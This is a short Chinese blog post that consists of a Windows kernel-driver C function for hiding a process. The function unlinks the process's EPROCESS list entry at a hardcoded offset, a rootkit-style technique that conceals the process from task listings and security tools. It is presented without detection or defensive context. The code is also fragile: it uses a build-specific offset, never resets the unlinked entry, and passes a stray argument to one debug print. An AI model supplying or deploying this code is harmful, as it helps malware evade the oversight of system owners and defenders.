EPROCESS双向链表隐藏进程

努力不当无业游民

于 2024-12-20 00:03:35 发布

阅读量332

点赞数 3

文章标签：安全

本文链接：https://blog.youkuaiyun.com/qq_52442096/article/details/144597694

版权

void HideProcess(HANDLE PID) {
  PEPROCESS Process = NULL;
  NTSTATUS Status = PsLookupProcessByProcessId(PID, &Process);
  if (NT_SUCCESS(Status)) {
    LIST_ENTRY *pEntry = (LIST_ENTRY*)((char*)Process + 0x188);
    LIST_ENTRY *pPrev = pEntry->Flink;
    LIST_ENTRY* pNext = pEntry->Blink;

    DbgPrint("HideProcess Old pPrev:%p %p next:%p %p\n", 
      pPrev->Flink, pPrev->Blink, 
      pNext->Flink, pNext->Blink);

    pPrev->Blink = pNext;
    pNext->Flink = pPrev;

    DbgPrint("HideProcess New pPrev:%p %p next:%p %p\n",
      pPrev->Flink, pPrev->Blink,
      pNext->Flink, pNext->Blink);

    DbgPrint("HideProcess prev\n", PID);
    ObDereferenceObject(Process); //PsLookupProcessByProcessId查询后要让引用计数减一
    DbgPrint("HideProcess pid:%d OK\n", PID);
  }

}